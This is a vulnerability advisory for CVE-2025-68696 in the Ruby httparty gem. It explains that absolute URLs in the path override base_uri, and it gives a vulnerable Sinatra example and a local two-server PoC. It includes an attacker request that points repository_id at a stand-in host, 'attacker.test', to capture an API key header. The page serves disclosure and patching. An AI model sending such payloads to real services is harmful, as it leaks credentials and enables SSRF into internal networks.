CVE-2025-68696: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. Details When httparty receives a path argument that is an absolute URL, it ignores the baseuri field.
Published Dec 23, 2025 · Updated Jan 11, 2026
Affected packages
httparty
- Ecosystem
- RubyGems
- Affected
- <= 0.23.2
- Fixed in
- 0.24.0
- Check
bundle info httparty
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
endNow, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
Also, Python's urljoin function has documented a warning about similar behavior:
PoC
Follow these steps to reproduce the issue:
- Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &- Create a script (for example,
main.rb):
require 'httparty'
class Client
include HTTParty
base_uri 'http://localhost:10001'
end
data = Client.get('http://localhost:10002').body
puts data- Run the script:
$ ruby main.rb
this is server2Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.
Credited to lambdasawa, ashkulz.
References
- https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
- https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240
- https://nvd.nist.gov/vuln/detail/CVE-2025-68696
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml
- https://github.com/advisories/GHSA-hm5p-x4rq-38w4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
